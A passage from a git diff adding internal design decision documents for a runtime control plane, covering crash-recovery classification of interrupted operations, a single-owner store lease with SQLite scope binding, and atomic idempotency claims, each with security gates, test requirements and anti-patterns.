`CANCELLED` only where the admitted lifecycle proves cancellation before invocation | operation-only | `runtime.control-plane.recovery-effect-absent` plus the canonical terminal diagnostic | +| effect applied | `SUCCEEDED` after the observed candidate passes the incumbent backend-result and snapshot-transition gates | snapshot-bearing | `runtime.control-plane.recovery-effect-applied` at `INFO` severity | +| indeterminate | `INDETERMINATE` | operation-only | `runtime.control-plane.recovery-effect-unobservable` plus `runtime.control-plane.operation-indeterminate` | + +The core owns the mapping from classification and prior lifecycle state to the +terminal state. A backend observer does not choose `SUCCEEDED`, `FAILED`, or +`CANCELLED`. A post-CP-2 `ACCEPTED` record proves that invocation never began +and may take the known-absent path; a `RUNNING` record requires observation or +becomes indeterminate. Records whose migration provenance cannot establish the +write-ahead invariant are indeterminate rather than assumed absent. + +Every classification uses `RuntimeDurabilityMixin._commit_terminal_operation` +and the provider's `commit_terminal_operation()` transaction. The resulting +snapshot, terminal record, and `terminal_operation_audit()` become visible as +one cut. The original operation identity, context, request commitment, +idempotency key, receipt, and submission time remain unchanged. In particular, +`INDETERMINATE` is terminal and immutable, and its idempotency claim is neither +deleted nor reassigned. + +Observation happens outside a store transaction. Records are processed in one +stable order under `RuntimeMutationAuthority`; derived caches are rebuilt only +from committed store state. A snapshot revision conflict or unknown commit +outcome is not evidence about the backend effect and must not trigger another +observation or an effect call in the same failure path. + +An indeterminate record is terminal history, but it does not establish that +the stored snapshot matches the target. Until a separately authorized linked +resolution succeeds, the safe default is to reject new effectful mutations for +that target/run while continuing to allow authorized reads and resolution. +The repository has no operation-impact independence proof that would justify +silently admitting unrelated mutations from an uncertain state cut. + +## Backend-neutral observation seam + +Recovery observation extends the existing optional component pattern: + +- `raes_backend_protocols` owns a narrow read-only observer protocol and typed, + backend-neutral request/result carriers; +- `BackendCapabilitySet`, `BackendManifest`, and `BackendManifestV2Model` own a + first-class optional recovery-observation declaration, including the closed + set of supported `OperationKind` values; +- `RuntimeTarget`, `RuntimeTargetComponents`, `BackendRegistry.create()`, and + `_validate_runtime_target_shape()` own component composition, signature + checks, and exact manifest/component agreement; and +- `RuntimeControlPlane` owns invocation, classification, validation, and the + terminal commit. + +The existing `ObservationCapabilities`, `ObservationRuntime`, observation +demands, capture offers, and evidence contracts implement EXP-715 experiment +observation. They are not crash-recovery effect observation and must not gain +overloaded flags or synthetic capture records for CP-3. Likewise, cleanup +verification and realization observations do not prove an interrupted +control-plane operation's outcome. + +A recovery-observation request exposes only the minimum value-free context +needed to bind readback: operation id and kind, immutable target/run and +request commitment, the validated baseline snapshot, and any governed neutral +effect locator admitted with the original claim. It does not expose bearer +tokens, idempotency keys, raw plans or request bodies, account credential +values, store paths, SQL/WAL coordinates, authorization secrets, or provider +exceptions. Native handles and credentials remain private to the configured +backend component. + +An `effect-applied` result must bind to the requested operation and commitment +and carry a neutral candidate `RuntimeSnapshot`/changed-address result. Before +commit, that candidate passes the same bounded `ApplyResult`, snapshot shape, +changed-address, entry/effect transition, workflow/evaluation/participant, +realization-authority, information-state, and credential-sanitization gates +used by `_validated_backend_result()` and `_finalize_backend_apply()`. Factor +the reusable validation part if necessary; do not copy a reduced validator +into recovery. A malformed, mismatched, unsupported, timed-out, or failed +observation becomes `indeterminate` with a stable value-free diagnostic. Raw +exception text never becomes status, audit, HTTP detail, or log data. + +The current durable record retains a commitment, not the original semantic +request. Therefore an observer may claim `effect-applied` only when it can bind +readback to the operation and the runtime can validate the resulting state +without reconstructing facts it does not possess. Otherwise the honest result +is `indeterminate`. Do not solve this by persisting raw credential-bearing +plans. If a future operation family needs extra recovery input, the extension +point is one bounded, strict, value-free recovery descriptor attached to the +existing operation record and covered by migration and codec validation. + +No-observation backends remain valid targets. Absence of both the manifest +capability and component deterministically produces the unobservable +classification. A manifest/component mismatch or invalid observer signature +is a target-shape error. A valid observer may support only a declared subset of +`OperationKind`; other kinds are unobservable. The runtime never falls through +to a native method guessed by name. + +## Linked resolution and authorization + +Resolution never changes the original `INDETERMINATE` record. It creates a new +operation with a fresh idempotency claim, new immutable resolver actor/scope, +and `parent_operation_id` equal to the original operation id. The original and +child must share the same target/run scope, and the parent must still be +terminal `INDETERMINATE` at the authoritative read used for the child claim. + +Administrative disposition and a new backend attempt are different concepts. +If the child only records a closed resolution disposition, it needs one +dedicated value in the existing `OperationKind` enum and a typed, closed +disposition; reusing the original backend operation kind would make its audit +and request commitment false. If the operator explicitly authorizes a new +effect attempt, the child uses the ordinary operation kind and full normal +admission, write-ahead claim, validation, and terminal-commit path. It is never +an automatic replay of the parent. + +P0/P1 embedders supply the typed resolver identity at their trust boundary. +P2 derives it through `_ControlPlaneApiAuth`; only an authenticated +target-bound `OPERATOR` identity may resolve an indeterminate operation. +`BACKEND` and `AUDITOR` roles, possession of the operation id, an idempotency +key, or access to the store are insufficient. Authorization runs again against +the parent target/run and any participant subject scope before the child claim. +A denied resolution creates no operation or idempotency claim and uses the +existing bounded denial-audit path. + +The trusted core, not an HTTP route or backend callback, creates the linked +operation and its audit. The child's terminal audit uses the child actor and +operation id; the parent actor remains unchanged. A route must not append a +second success audit after the core returns. + +## Canonical incumbents + +- `OperationState`, `OperationKind`, `OperationAdmissionContext`, + `OperationStatus`, `operation_terminal_diagnostic()`, and the published + operation carriers own lifecycle vocabulary and immutable linkage. +- `RuntimeMutationAuthority`, `control_plane_mutation()`, and + `external_control_plane_call()` own mutation serialization and trusted + extension re-entry guards. Startup recovery does not add another lock. +- `RuntimeDurabilityMixin`, `SnapshotState`, `TerminalCommitMode`, + `SnapshotRevisionConflict`, and `terminal_operation_audit()` own atomic + terminal publication, revision outcomes, cache rebuild, and audit binding. +- `ControlPlaneStore`, `AtomicControlPlaneStore`, + `ControlPlaneStoreCommitAdapter`, `InMemoryControlPlaneStore`, and + `LocalControlPlaneStore` remain the persistence boundary. The + `control_plane_recovery.py` tombstone may host the runtime coordinator again; + the removed store-side `reconcile_interrupted_records()` workflow must not + return. `INTERRUPTED_OPERATION_DIAGNOSTIC_CODE` is retained only as a legacy + negative-test sentinel; it is not the CP-3 classification or diagnostic + authority and may be removed once those compatibility assertions migrate. +- `_OperationRecordModel`, `OperationReceiptModel`, `OperationStatusModel`, + `_record_payload()`, `_record_from_payload()`, and + `migrate_sqlite_schema()` own strict persisted shape and migration. Do not + add a permissive recovery JSON decoder. +- `RuntimeTarget`, backend protocols, `BackendCapabilitySet`, + `BackendManifestV2Model`, manifest render/parse helpers, and + `_validate_runtime_target_shape()` own backend capability discovery. +- `_validated_backend_result()`, `_finalize_backend_apply()`, and their + snapshot, transition, realization, participant, workflow, and credential + gates own acceptance of backend-produced state. +- `ControlPlaneConfiguration`, `ControlPlaneSecurityConfig.strict_defaults()`, + `_ControlPlaneApiAuth`, `RequestSizeLimitMiddleware`, and + `_ControlPlaneCallExecutor` own typed composition, HTTP authentication, + request shape, bounded admission, and offload. +- `Diagnostic`, `AuditEvent`, module loggers, and ADR-066 own public failures, + operational audit, and telemetry. Recovery does not create evidence or run + provenance. + +## Cross-cutting gates + +- **Contract and persistence shape:** recovery-related public fields continue + through closed `ContractModel(extra="forbid")` DTOs and generated schemas. + Internal operation fields use the same strict, bounded record codec and + digest. Unknown classifications, operation kinds, descriptor members, or + missing linkage fail closed. A backend-manifest or operation-carrier schema + change requires `schema_bundle()`, the matching entry under + `contracts/schema-publication/entries/`, generated-schema parity, fixtures, + and ADR-061/plan-rule governance. +- **Semantic validation:** target/component agreement passes + `_validate_runtime_target_shape()`. An applied candidate passes the incumbent + backend-return and snapshot-transition gates before it is authoritative. + Recovery classification does not bypass planner authority, participant + history heads, realization authority, information-flow policy, or + credential sanitization when those concerns are present in the candidate. +- **Authentication and authorization:** P2 retains constant-time bearer + matching, explicit verified-proxy opt-in, exact target binding, and closed + roles. Resolution adds operation/run/parent and subject checks in the core. + Startup reconciliation is trusted internal work bound to the original + immutable operation actor; an observer is not granted resolver authority. +- **Secrets, environment, and process exposure:** recovery adds no secret + resolver, environment loader, CLI flag, subprocess, or argv value. + `ControlPlaneConfiguration` and `RuntimeTarget` remain explicit in-memory + composition shapes. `RuntimeEnvironmentVariable` remains an SDL/runtime + payload contract and is not a service-credential channel. Existing + `WEB_CONCURRENCY`/`UVICORN_WORKERS` validation remains the only local-store + worker environment gate. Backend credentials stay inside their configured + adapter and never enter the observer carrier, operation record, diagnostic, + audit, log, fixture, or process arguments. +- **Filesystem and OS exposure:** the local provider retains owner-only + directory/database modes, symlink and non-regular-file rejection, + identity-pinned opens, WAL/full-sync admission, integrity checks, durable + migration backups, and `RuntimeOwnerLease`. Recovery creates no side file, + lock file, native-handle serialization, or second database connection model. +- **Error envelopes:** observer failure and unavailability become stable + diagnostics, not `str(exception)`. Startup store/codec failures remain + construction failures. HTTP resolution maps authentication, not-found, + conflict, invalid-shape, overload, and unexpected failures through the + existing coarse `401`/`403`/`404`/`409`/`422`/`503`/`500` behavior. The + existing per-route `detail=str(exc)` conversions are not safe templates. +- **Observability:** one core terminal audit accompanies each reconciled or + linked operation. Optional logs contain only bounded operation id, kind, + phase, classification, and stable reason code. They exclude paths, native + identifiers, actor scopes, request content, exception chains, and backend + payloads. Wall-clock time supplies recovery and audit timestamps; scenario + `TimeRuntime` does not. +- **Repository workflow:** `API-404` traceability, backend-manifest fixtures, + operation fixtures, store migrations, and focused restart/security tests + move together with their changed contracts. The canonical gates remain + `.ground-control.yaml`, `.gc/plan-rules.md`, `noxfile.py`, + `tools/check_repo_policy.py`, `tools/check_requirement_governance.py`, and + `tools/verify_all.py`. Release-please owns `CHANGELOG.md`. + +## Verification guardrails + +Restart coverage must exercise absent, applied, explicit unobservable, missing +observer, malformed observer result, observer exception/timeout, and terminal +commit failure against both authoritative store behavior and cache rebuild. +Tests must prove that apply/effect method counters stay at zero during restart, +timeout, cancellation, request disconnect, and same-key client retry. + +Authorization coverage must include operator success, backend/auditor denial, +cross-target and cross-run denial, participant-subject denial where relevant, +parent-not-indeterminate conflict, fresh child idempotency, immutable parent, +retained parent idempotency claim, and exactly one child terminal audit. Target +shape tests must cover manifest/component mismatch and supported-operation-kind +dispatch. Redaction tests seed secrets and provider exception text and prove +they do not appear in records, diagnostics, audits, logs, HTTP bodies, or +fixtures. + +## Gotchas and anti-patterns + +- Do not resurrect `reconcile_interrupted_records()` in a store or terminalize + records with `save_record()` alone. +- Do not call an apply method to "check" whether it is idempotent. Idempotence + is not evidence that replay is authorized or that the first effect was absent. +- Do not treat an HTTP timeout, task cancellation, thread cancellation, process + restart, or missing terminal record as proof that the effect is absent. +- Do not map every interrupted operation to `FAILED`; that erases the + distinction between known absence and unknown external state. +- Do not accept a backend boolean or native status object directly. Require the + neutral closed result and validate an applied snapshot through the shared + result gates. +- Do not reuse EXP-715 observation/evidence, cleanup verification, + `RealizationObservationDisclosure`, or participant observation carriers for + recovery effect classification. +- Do not add recovery flags to manifest `constraints`; capability and supported + operation kinds need typed first-class fields with exact component matching. +- Do not persist raw plans, credentials, native handles, exception text, or an + unbounded provider payload to make recovery easier. +- Do not make `INDETERMINATE` mutable, delete its idempotency key, reuse that + key for the child, or let a linked child overwrite the parent. +- Do not use the original backend operation kind for a purely administrative + disposition, and do not call an explicitly authorized new attempt a + "resolution" without the ordinary effect workflow. +- Do not let constructor failure leak a lease, expose a partially reconciled + cache, or create an app that can accept requests. + +## Non-goals and boundaries + +- CP-3 does not provide exactly-once backend effects, automatic replay, + background job resumption, compensation, rollback, or desired-state + convergence. +- It does not implement P3 coordination, fencing, leader election, + multi-worker ownership, remote persistence, or cross-target/cross-run + scheduling. +- It does not replace the operation lifecycle, snapshot schema, backend + manifest, audit model, EXP-715 evidence plane, participant observation, + cleanup contracts, or archival run provenance with a recovery-specific + parallel family. +- It does not add a serve command, health API, secret loader, environment + binding, TLS/proxy deployment, OS service unit, backup scheduler, or operator + runbook. CP-12 owns operational health and runbook work. +- It does not make direct `RuntimeManager` or direct backend calls durable or + reconcile them; only operations admitted through `RuntimeControlPlane` have + the required record and linkage. +- It does not claim observation support for an operation kind a backend cannot + bind and validate. Such work terminates honestly as indeterminate. diff --git a/docs/decisions/issue-1183-store-ownership-lease-preflight.md b/docs/decisions/issue-1183-store-ownership-lease-preflight.md new file mode 100644 index 000000000..9f0414c19 --- /dev/null +++ b/docs/decisions/issue-1183-store-ownership-lease-preflight.md @@ -0,0 +1,225 @@ +# Issue 1183 Store Ownership Lease Preflight + +Date: 2026-09-18 + +Issue: #1183. Requirement: API-404. Decision: ADR-104. Work package: CP-5. + +## Decision + +P1 and P2 admit one `RuntimeControlPlane` owner for one immutable +`(target_scope, run_scope)` before the durable provider inspects or creates its +schema, migrates data, loads derived caches, reconciles operations, or reads +state. The scope comes from trusted runtime composition: `target_scope` is the +existing `RuntimeTarget.name` projection and `run_scope` is supplied once by +the embedder through `ControlPlaneConfiguration`. A request, plan, identity +header, operation record, database payload, or pathname cannot select or +change the store scope. + +`LocalControlPlaneStore` remains the P1 provider, `RuntimeOwnerLease` remains +its local process lease, and the existing SQLite `metadata` table remains the +authority for internal provider metadata. Scope binding is internal metadata, +not a new portable DTO or published JSON Schema. Persist the same normalized +`target:` and `run:` identities already carried by +`OperationAdmissionContext`; reuse the bounded run-identity validation in +`raes_contracts.run_scope` rather than introducing another identifier grammar. +`PlanScope.instantiation_id` is not store identity. + +The local-store object must be inert with respect to durable contents until +admission. Path preparation needed to acquire the lease may validate or create +the private store directory, but opening SQLite, setting or inspecting WAL, +checking schema/integrity, importing legacy JSON, or reading metadata/state is +post-lease work. A new store records its immutable scope during creation. An +existing unscoped store may be adopted exactly once under the exclusive lease +using the trusted composition scope, before payload reads or legacy migration; +after that, mismatch is a non-mutating startup failure. Scope is never inferred +from the newest operation, snapshot metadata, a plan, or legacy payload. + +The durable provider itself must reject access without its live lease. The +runtime lifecycle check is defense in depth, not the provider's only guard: +direct calls to `load_*`, mutation methods, migration helpers, or maintenance +reads cannot bypass admission. The prior issue-1092 allowance for independent +unleased maintenance/read instances is superseded. Offline tooling must use the +same lease and scope admission or remain outside the store. + +## Ownership and lifecycle boundary + +Keep four authorities distinct: + +- `RuntimeOwnerLease` excludes another process and rejects inherited post-fork + use. It is not the mutation lock, a SQLite transaction, or revision CAS. +- `RuntimeLifecycleMixin` stops new outermost calls and drains every admitted + read or mutation. It does not grant filesystem ownership. +- `RuntimeMutationAuthority` serializes in-process mutation state cuts. It does + not replace the lease or provider transaction. +- `SnapshotRevisionConflict` and expected-revision commits catch stale writes. + They do not make multiple owners supported. + +Startup ordering is a contract: + +1. validate typed composition and the configured single-worker posture; +2. secure and identity-pin the store directory and acquire the owner lease; +3. open/admit the provider, verify or establish immutable scope, then perform + WAL, schema, integrity, and migration work; +4. load authoritative state and derived caches; +5. run startup reconciliation; only then may P2 become ready. + +Every failure after step 2 closes any opened provider resources before +releasing the lease. Normal shutdown first stops new API/core admission, drains +queued or admitted mutation work and other active calls, closes the provider, +and only then releases the lease. Provider close is idempotent and centrally +owned; operation families and HTTP routes must not close it. If provider close +cannot confirm that its resources are closed, retain the lease and fail closed +rather than admit a replacement owner. Process exit remains the last-resort OS +cleanup, not the ordinary lifecycle. + +For P2, compose this order through the FastAPI lifespan and the existing +`_ControlPlaneCallExecutor`; do not rely on garbage collection or on a caller +remembering to close the core after ASGI shutdown. The local profile remains +one application worker with reload disabled. Reuse +`require_single_worker_configuration()` for `WEB_CONCURRENCY` and +`UVICORN_WORKERS`, while the lease remains the authoritative guard for +launchers that do not expose their process count through those variables. Do +not add a second service configuration loader or infer safety from an ASGI +server brand. + +## Canonical incumbents + +- `control_plane.py`, `ControlPlaneConfiguration`, and + `control_plane_operation_context.py` own composition, target identity, + fixed run context, and operation context. Every operation must use the + control plane's admitted run scope; a request carrying another `run_id` + fails before claim or disclosure. +- `ControlPlaneStore`, `AtomicControlPlaneStore`, and + `adapt_control_plane_store()` remain the provider capability boundary. CP-5 + should formalize the existing lease capability there rather than continue + unconstrained `getattr()` discovery or create a parallel repository/service + layer. P0's `InMemoryControlPlaneStore` remains non-durable and needs no OS + lease, but its owning control plane still has one target/run context. +- `LocalControlPlaneStore` and its existing `metadata` table own scope binding, + schema admission, migration, connections, and provider close. Do not add a + scope sidecar, second database, snapshot metadata field, or public store DTO. +- `control_plane_store_lease.py` owns the local lease and the worker-environment + gate. `control_plane_store_paths.py` owns filesystem type, ownership, mode, + hard-link, same-file, SQLite sidecar, and fsync policy. Keep these checks out + of `RuntimeControlPlane` and the HTTP adapter. +- `RuntimeLifecycleMixin`, `runtime_owned`, `RuntimeMutationAuthority`, and the + API call executor own admission/drain behavior. Extend their one lifecycle; + do not add another lock, active-call counter, or route-local shutdown path. +- `_ControlPlaneApiAuth`, `ControlPlaneSecurityConfig.strict_defaults()`, + `RequestSizeLimitMiddleware`, closed request models, `Diagnostic`, and the + redacted exception handlers remain the P2 authentication, authorization, + shape, overload, diagnostic, and error-envelope owners. +- The strict local codecs, SQLite transaction helper, WAL/full-synchronous + admission, quick check, schema migration, digest validation, snapshot CAS, + and startup classifier remain mandatory after lease admission. A lease does + not weaken any of them. + +## Cross-cutting gates + +### Security and validation + +- **Trusted composition:** validate a non-empty bounded target and a value-free + bounded run identity before filesystem mutation. Normalize once and compare + exact strings. Do not silently trim, case-fold, stringify, default a corrupt + persisted value, or let a per-operation `run_id` widen the fixed store scope. +- **Authentication/authorization:** P2 continues to derive identity only from + constant-time bearer matching or explicitly trusted verified-proxy headers, + then applies exact target/role/subject checks. Store scope is selected before + HTTP admission, so no new header, body field, query parameter, token claim, + or operation id chooses it. One app/store already fixes the run boundary; CP-5 + does not create an HTTP tenant or add a second authorization schema. +- **Secrets:** target/run scope is a value-free identity. Bearer tokens, + credentials, raw requests, generated values, and backend/provider exception + text never enter scope metadata, the owner file, audit, diagnostics, logs, or + receipts. Add no environment variable, secret resolver, command-line token, + or scope value in process argv. +- **Persisted shape:** scope keys and values are strictly decoded from the + existing metadata table and must be both present or both absent during the + one-time adoption case. Partial, duplicate, malformed, or conflicting scope + metadata fails closed before state payload decoding or migration. This is an + internal migration rule, not a reason to publish a JSON Schema. +- **Filesystem/OS:** apply the existing private-directory, regular-file, + current-owner, POSIX `0700`/`0600`, no-symlink/reparse, no-hard-link, and + `samestat` checks to the directory, owner file, main database, SQLite + sidecars, legacy migration inputs, and backups as appropriate. Directory and + owner-file identity must remain tied across acquisition; a path swap cannot + move the lease to one directory while SQLite opens another. Continue to let + SQLite own database/sidecar descriptors. On Windows, reparse/type/identity + checks remain code-enforced and deployment ACLs remain the documented + permission authority; do not claim POSIX-mode equivalence. +- **Error envelopes:** ownership, scope, path, and provider failures are startup + or lifecycle failures, not operation receipts. If one reaches a live P2 call, + reuse the coarse redacted `409`/`500` handling and never use + `detail=str(exc)`. Public errors, audit, and logs must not expose store paths, + persisted scope values, PIDs, SQL, lock coordinates, tracebacks, or provider + exception chains. Do not create a CP-5 exception hierarchy solely for route + mapping. +- **Observability:** successful ownership is not an audit event and the PID in + the private owner file is diagnostic only, not authority. Optional lifecycle + logging uses stable phase/outcome fields with no paths or scope values. + Operational audit remains distinct from logs, participant observations, + evidence, and archival run provenance. + +### Repository and contract workflow + +CP-5 changes an internal provider/lifecycle contract and SQLite metadata, not a +portable wire carrier. It therefore should not edit generated control-plane +schemas or create fixtures for a store-only DTO. If implementation discovers a +real public carrier change, ADR-061, `schema_bundle()`, schema publication, +generated-schema parity, and fixture validation all apply. SQLite scope +adoption follows the existing `LOCAL_OPERATION_SCHEMA_VERSION` migration and +rollback discipline. Repository verification continues through +`.ground-control.yaml`, `.gc/plan-rules.md`, `noxfile.py`, +`tools/check_repo_policy.py`, `tools/check_requirement_governance.py`, and +`tools/verify_all.py`; release-please owns `CHANGELOG.md`. + +## Verification guardrails + +Use real spawned processes for second-owner tests; thread-only tests do not +exercise OS lease semantics. Pin event ordering with instrumented providers: +no schema/migration/load/reconcile event before lease acquisition, and no lease +release before provider close after admitted calls and mutations drain. Cover +new store, same-scope reopen, target mismatch, run mismatch, partial/corrupt +scope metadata, one-time unscoped adoption, every startup failure boundary, +clean handoff, close retry/failure, post-fork use, and P2 lifespan shutdown. + +Filesystem tests must cover symlink/reparse points, FIFOs/directories/devices in +file positions, hard links, foreign ownership where observable, permissive +modes, database and owner-file replacement, directory replacement between +validation and open, disappearing paths, and SQLite sidecar races without +opening or closing SQLite-managed files. Preserve the existing WAL, fsync, +rollback, codec-corruption, and database-identity suite while moving its setup +through admitted access. + +## Extension seam + +The seam is one explicit leased-store admission capability parameterized by +the already-normalized target and run scopes and returning process-bound +authority with `assert_owner()`/`close()` behavior. The local implementation +uses filesystem locks; a future P3 provider may add fencing and distributed +coordination behind a new ADR. Do not add TTL, renewal, leader election, fencing +tokens, multi-owner cache coherence, or distributed clock semantics to CP-5. +Keeping scope input and lease-provider behavior explicit lets a later provider +vary without changing operation DTOs, HTTP authentication, or store payloads. + +## Non-goals and anti-patterns + +- No P3, high availability, multi-host store, remote database, shared-worker + service, leader election, automatic takeover, or exactly-once backend claim. +- No target/run/tenant multiplexing, request-selected store, cross-run + scheduling, or use of authored `deployment_tenants` as API tenants. +- No new public scope schema, duplicate run-id regex, scope sidecar, lease row + polled from SQLite, global process lock registry, or second exception tree. +- No inference of scope from snapshots, operations, plans, paths, environment, + authenticated actor, backend manifest contents, or the first HTTP request. +- No unleased read-only/maintenance escape hatch and no method that quietly + opens the provider on first read. +- No release of the lease before provider close, no shutdown in route handlers, + no reliance on `__del__`, and no swallowing close failures to make a second + owner appear available. +- No weakening of filesystem checks, WAL/full-synchronous admission, strict + codecs, migration rollback, revision CAS, mutation authority, authentication, + redaction, or startup reconciliation because exclusive ownership exists. +- No change to `RuntimeManager`, backend effect semantics, CP-3 recovery + classification, CP-6 transaction design, CP-7 idempotency semantics, or + CP-12 operator health/runbook scope beyond the lifecycle ordering CP-5 needs. diff --git a/docs/decisions/issue-1184-atomic-idempotency-claims-preflight.md b/docs/decisions/issue-1184-atomic-idempotency-claims-preflight.md new file mode 100644 index 000000000..7702664a6 --- /dev/null +++ b/docs/decisions/issue-1184-atomic-idempotency-claims-preflight.md @@ -0,0 +1,297 @@ +# Issue 1184 Atomic Idempotency Claims Preflight + +Date: 2026-09-18 + +Issue: #1184. Requirement: API-404. Decision: ADR-104. Work package: CP-7. + +## Decision + +The authoritative store owns idempotency resolution. One store operation must +either create the candidate operation claim or return the exact incumbent; no +runtime path may perform `find_by_idempotency()` followed by a later claim. +The in-memory provider performs this operation under its existing `RLock`, and +the local provider performs it in its existing `BEGIN IMMEDIATE` transaction. +No transaction spans validation callbacks or a backend invocation. + +For P0--P2, target and run are already fixed by store admission. Within that +store, the unique claim identity is `(actor_id, operation_kind, +idempotency_key)`. The incumbent's authorization scope, target/run context, +request commitment, parent-operation relation, and other immutable operation +context are exact-match replay conditions. They are not additional uniqueness +dimensions: in particular, putting `request_commitment` in the unique key +would incorrectly turn reuse of one key for a changed request into a second +operation instead of a fail-closed conflict. An empty client key creates no +deduplication claim. + +The same non-empty key used by another actor or operation kind is an independent +claim and cannot reveal whether another claim exists. A target or run uses a +different admitted store and cannot select another scope through a request. +When the composite identity matches, the store returns the incumbent only if +the complete immutable replay conditions match. Otherwise it returns one +coarse conflict without the incumbent record, operation id, state, actor, or +commitment. The runtime rechecks the returned incumbent before exposing its +receipt; possession of a key, operation id, or old receipt is never authority. + +`OperationAdmissionContext` remains the sole immutable authority and semantic +context carried by receipts and statuses. Request commitment construction stays +in `control_plane_operation_context.py` and uses +`raes_contracts.canonical.canonical_json_digest()` over a value-free semantic +projection with a stable, versioned, operation-specific domain separator. The +projection includes every execution-affecting input, including an explicit +base snapshot and, for participant operations, the applicable policy/support +resolution and state-cut coordinates. The digest is stored; the raw request +projection is not. Caller-supplied `request_fingerprint` values are not +authority and must not create a parallel commitment convention. + +The sensitive exact-retry proof defined by the formal model remains ephemeral. +It uses the same canonicalizer over the exact in-memory projection, is indexed +by the full claim identity or operation id rather than a bare client key, and +never enters SQLite, portable carriers, audit, diagnostics, logs, or responses. +After restart, a credential-bearing retry whose equality cannot be proven +continues to fail closed with a new key required. + +## Boundaries and canonical incumbents + +- `raes_contracts.operation_lifecycle.OperationAdmissionContext`, + `OperationKind`, `OperationReceipt`, and `OperationStatus` remain the + portable contract owners. Their existing closed Pydantic carriers and + published control-plane schemas are not duplicated or widened for a + store-private claim key. +- `control_plane_operation_context.py` and + `raes_contracts.canonical` own semantic projection, RFC 8785/JCS bytes, the + `sha256:` representation, value-free credential projection, and exact + ephemeral retry proof. Operation families supply their semantic payload to + this boundary; they do not hash JSON independently. +- `RuntimeAdmissionMixin` owns claim/replay interpretation and denial audit. + `ControlPlaneStore`, `AtomicControlPlaneStore`, and + `ControlPlaneStoreCommitAdapter` own the provider capability. The incumbent + atomic claim method must be strengthened rather than adding a repository, + service, or cache-side deduplicator. +- `InMemoryControlPlaneStore` and `LocalControlPlaneStore` remain the two + reference providers. The former uses its existing lock and the latter its + WAL/full-synchronous transaction, admitted immutable scope, strict record + codec, integrity digests, and schema migration boundary. +- `RuntimeMutationAuthority` remains the single in-process mutation authority. + Atomic store claims are the correctness primitive and do not justify a + route-local key lock, per-operation-family lock, process-global registry, or + lock held over backend work. +- Generic provisioning/orchestration/evaluation execution, workflow + cancellation and timeout reconciliation, participant actions, supervisory + control, crossings and final-sink dispositions, and indeterminate resolution + all use the same claim semantics. The direct idempotency lookups and custom + SHA-256/scoped-key conventions in `participant_control_mediation.py`, + `participant_crossing_mediation.py`, and + `participant_crossing_records.py` are incumbents to converge, not precedents + for another idempotency layer. Unrelated history-head and evidence digests + remain distinct concepts. +- `RuntimeDurabilityMixin`, `SnapshotState`, and `_project_snapshot_read()` own + derived-state publication and revision-bound projections. `_snapshot_state` + and `_operations` are rebuildable views only. Status, observation-result, + operational-summary, snapshot, and snapshot-derived participant reads must + read the store or use the existing pinned projection rule; none may trust a + construction-time or prior-request map. +- `_ControlPlaneApiAuth`, `ControlPlaneSecurityConfig.strict_defaults()`, the + closed request models, `RequestSizeLimitMiddleware`, and + `_ControlPlaneCallExecutor` remain the P2 authentication, authorization, + shape, size, offload, overload, and cancellation boundaries. Idempotency does + not create a second HTTP security policy. + +## Authorization and disclosure + +A duplicate receipt is disclosed only after the current typed identity has +been authenticated, exactly target-bound, role/subject authorized for the +requested operation, and matched to the original immutable actor and +authorization scope. A privileged operation-status read, where allowed by the +existing operator/auditor policy, is separately authorized in the core against +the persisted context; route-level possession of an operation id is +insufficient. Participant operations retain their control-subject or +audience-subject checks. + +`get_operation()` must load the authoritative record and apply that core read +policy before returning status. Unknown and unauthorized operation ids use an +indistinguishable coarse response so the endpoint is not an existence oracle. +`get_snapshot()` and every snapshot-derived route continue to require an +authenticated target-bound read role and return the revision of the exact +projected state cut. The fixed store scope is not a substitute for actor or +participant authorization. + +Core P0/P1 calls retain the trusted-embedder identity supplied by the existing +identity boundary. They must not silently treat an arbitrary caller string, +operation id, or idempotency key as that embedder authority. + +## Persistence and migration + +The local SQLite uniqueness rule must represent the composite claim identity, +not the current bare `idempotency_key` index. This is an internal provider +schema change governed by `LOCAL_OPERATION_SCHEMA_VERSION` and the existing +transactional migration/rollback path; it is not a portable JSON Schema +change. The record codec remains strict and lossless, and store admission still +precedes schema inspection or migration. + +Existing records already carry target/run, actor, authorization scope, +operation kind, and request commitment in their immutable context. Migration +must derive claim scope only from those validated fields and the admitted store +metadata. It must not infer actor or kind from an operation id, audit entry, +path, latest snapshot, or HTTP data. Ambiguous, malformed, duplicate, or +cross-scope predecessors fail startup without reassignment or deletion. + +Some participant records persist a one-way, pre-CP-7 derived key rather than +the original client key. That information cannot be reconstructed. Migration +must preserve those claims as explicit legacy opaque identities and keep exact +legacy retries fail-closed or compatibility-resolvable at one bounded store +boundary. It must not reinterpret the digest as a raw client key, silently +mint a new operation, or retain participant-specific lookup logic in the live +claim path. Durable terminal and indeterminate claims are never discarded to +simplify migration. + +The duplicated private `request_fingerprint` column/payload cannot acquire a +second meaning. For ordinary operations it currently duplicates +`context.request_commitment`; participant code currently overloads it with a +different semantic hash. The private migration must converge these meanings +on the canonical context commitment while retaining any additional +participant state-cut coordinates in their existing typed fields. No public +receipt/status schema change is expected. If implementation discovers a real +portable carrier change, ADR-009/ADR-061, `schema_bundle()`, the schema +publication manifest, fixtures, and generated-schema parity apply in full. + +## Cross-cutting gates + +### Security, shape, and secrets + +- HTTP size admission remains before body parsing. FastAPI/Pydantic closed + request models validate the request before domain reconstruction, and the + core validates one bounded non-empty key shape (empty remains the explicit + no-idempotency case). HTTP, direct-core, participant, and workflow paths use + that one validator; no route-only length or character policy is introduced. +- Bearer tokens continue through constant-time resolution; proxy identities + remain opt-in and trusted only when the proxy strips caller-supplied identity + headers. Exact target binding, role checks, participant control-subject + bindings, and audience bindings all precede receipt disclosure. +- `ControlPlaneConfiguration` and `PlanScope` continue to validate trusted + target/run composition. No header, request body, query value, environment + variable, operation id, or idempotency key selects a store, target, run, or + tenant. +- Credential material remains behind + `value_free_account_placement_payload()`, exact sensitive proof remains + memory-only, and backend output still passes the incumbent validators and + sanitizers. Tokens, raw keys, raw requests, exact fingerprints, credentials, + host paths, SQL, and provider exception text do not enter diagnostics, + audit details, logs, fixtures, health output, or portable state. +- CP-7 introduces no environment binding, secret resolver, serve command, or + process argument. The only relevant environment gate remains the incumbent + single-worker validation for `WEB_CONCURRENCY` and `UVICORN_WORKERS`; secrets + and keys are never placed in argv. + +### Error envelopes and observability + +One narrow claim-conflict signal maps through the existing HTTP conflict path +to a fixed, value-free `409` response. It must not be wrapped in a new public +exception hierarchy, and the submission routes must not use +`detail=str(provider_exception)` for this or an unexpected store error. +Authentication/authorization, redacted validation `422`, overload +`503`/`Retry-After`, and redacted unexpected `500` behavior remain unchanged. 